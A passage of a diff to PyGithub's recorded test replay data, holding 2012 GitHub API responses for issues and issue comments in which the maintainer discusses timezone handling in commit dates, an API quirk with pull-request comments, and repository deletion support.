losed_at":null,"title":"Remove the _repo hugly hack","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-13T06:22:27Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624561,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/13"},{"updated_at":"2012-03-13T06:21:57Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/12","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":12,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Structure some InternalSimpleAttributes","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-13T06:21:57Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624556,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/12"},{"updated_at":"2012-03-12T21:58:05Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/9","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":9,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Publish version 1.0","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3619973,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/9"},{"updated_at":"2012-03-08T12:23:29Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/4","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":4,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Review public interface homogeneity ","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-06T16:48:40Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527266,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/4"},{"updated_at":"2012-05-19T06:42:43Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/3","comments":0,"milestone":null,"number":3,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Deduce mandatory parameters","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"created_at":"2012-03-06T16:47:49Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527245,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/3"},{"updated_at":"2012-03-08T12:23:29Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/2","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":2,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Use objects as parameters instead of shas, ids, etc.","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-06T16:46:49Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527231,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/2"}] - diff --git a/tests/ReplayData/Repository.testGetIssuesComments.txt b/tests/ReplayData/Repository.testGetIssuesComments.txt index 9808ca104a..536f2a3b00 100644 --- a/tests/ReplayData/Repository.testGetIssuesComments.txt +++ b/tests/ReplayData/Repository.testGetIssuesComments.txt @@ -63,4 +63,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '44148'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:54:38 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] [{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"And by the way, I'm not sure it's a problem for you but I prefer to make it clear: if `tag` is a `Tag`, then `tag.commit.commit.committer.date` is the date of the tagged commit, not the date of the tag. If you really need the date of the tag, you need a `GitTag` and use `git_tag.tagger.date`.","updated_at":"2012-07-03T07:50:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/6728069","created_at":"2012-07-03T07:50:18Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6728069},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"ah, makes sense. If you want to avoid the timezone confusion, mayb what is suggested [here](http://stackoverflow.com/a/117615/599884) makes most sense: \n\"Keep your internal datetime objects naive and in UTC and convert to your timezone for formatting only. The reason why you probably want naive objects (objects without timezone information) is that many libraries and database adapters have no idea about timezones.\"\nSo maybe it makes sense to just convert the GitAuthor times to UTC when getting them (i.e. apply the offset to the given time), to be consistent with the rest.\n\nThanks about the clarification re: GitTag/Tag. I prefer the date of the tagged commit, though, the tags mark release commits.\n","updated_at":"2012-07-03T07:59:36Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/6728241","created_at":"2012-07-03T07:59:36Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6728241},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"If I convert the `GitAuthor.date` to UTC, I loose the information about where the committer lives... It may or may not be a problem depending on my client's use case.\n\nI'll find a way to make it clear and not loose information, maybe I will convert `date` to UTC (keep it naive), and add another attribute `timezone` to `GitAuthor`.","updated_at":"2012-07-07T18:18:46Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/6728370","created_at":"2012-07-03T08:08:08Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6728370},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"I still have to convert the datetime to UTC. But there is something silly about timezones returned by Github: my commits are timezoned \"-07:00\" while I live in France (UTC +1 or +2). I have to investigate that.","updated_at":"2012-07-10T19:42:43Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/6886561","created_at":"2012-07-10T19:42:43Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6886561},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"Well, well, well... I now revise my judgement: **absolutely all** commits I've retrieved from Github are in timezone -07:00, so this must indeed be a flaw in the API, returning date formatted in the local timezone of the GIthub servers only for this attribute. @bilderbuchi, you were right in https://github.com/jacquev6/PyGithub/issues/54#issuecomment-6727659 :-)\n\nThere is no point keeping this GitAuthor.timezone attribute. I will just convert everything to UTC.","updated_at":"2012-07-13T19:17:15Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/6972414","created_at":"2012-07-13T19:05:53Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6972414},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"ok. maybe also write to github about this probable bug in the API, to see what's the deal?","updated_at":"2012-07-15T19:57:26Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/6994436","created_at":"2012-07-15T19:57:26Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":6994436},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"@bilderbuchi, to be honest, I don't think I will take time to contact Github about that.","updated_at":"2012-07-18T09:12:53Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7060818","created_at":"2012-07-18T09:12:53Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7060818},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5387373","body":"Sure, I understand. :-)","updated_at":"2012-07-18T09:21:16Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7060993","created_at":"2012-07-18T09:21:16Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":7060993},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5783131","body":"Thank you for this useful contribution! You even respected my special spacing convention!\n\nI will publish the version 1.4 of PyGithub next week-end.","updated_at":"2012-07-24T16:07:06Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7211543","created_at":"2012-07-24T16:07:06Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7211543},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5783131","body":"Hum, I'm having trouble with my computer and not much time to fix it. I'll publish PyGithub 1.4 as soon as possible.","updated_at":"2012-07-31T18:47:09Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7407798","created_at":"2012-07-31T18:47:09Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7407798},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/5806612","body":"Published, at last...","updated_at":"2012-08-04T06:11:43Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7499550","created_at":"2012-08-04T06:11:43Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7499550},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6353712","body":"Hello!\n\nI confirm that the following code exhibits the same issue:\n\n import github\n\n g = github.Github()\n r = g.get_user( \"jacquev6\" ).get_repo( \"PyGithub\" )\n p = r.get_pull( 57 )\n print p.title, \"has\", p.comments, \"comments\"\n print [ c.body[ :15 ] for c in p.get_comments() ]\n\nIt prints:\n\n Allows connection to GitHub Enterprise installs on local URLs has 2 comments\n []\n\nThis last line calls API https://api.github.com/repos/jacquev6/PyGithub/pulls/57/comments, as documented in http://developer.github.com/v3/pulls/comments/#list-comments-on-a-pull-request, but the API returns an empty list. I've just managed to get the comments by calling https://api.github.com/repos/jacquev6/PyGithub/issues/57/comments instead. The issue must be on Github's side.\n\nAs a **temporary** work-around, you can use the following code to do as if the pull request is an issue, and call the other API:\n\n print [ c.body[ :15 ] for c in r.get_issue( p.number ).get_comments() ]\n\nRight now, I have not enough time to take care of this problem, but if it's still here at the beginning of September, I will contact Github and/or patch PyGithub.\n\nEnjoy,","updated_at":"2012-08-21T22:15:01Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7918385","created_at":"2012-08-21T22:15:01Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918385},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6363719","body":"Deleting a repository is a new functionality that was not implemented in the API when I published the last version of PyGithub. It is now documented here: http://developer.github.com/v3/repos/#delete-a-repository\n\nI will implement it in PyGithub at the beginning of September.","updated_at":"2012-08-21T22:21:13Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7918542","created_at":"2012-08-21T22:21:13Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918542},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6363719","body":"For the 'get_team' part of your issue, I can't find a way to get the id of a team from its name here: http://developer.github.com/v3/orgs/teams/ so there is no way to do it in PyGithub without iterating on 'get_teams()'","updated_at":"2012-08-21T22:27:24Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7918728","created_at":"2012-08-21T22:27:24Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7918728},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6363719","body":"Thanks for your fast reply and help. I look forward to having repo 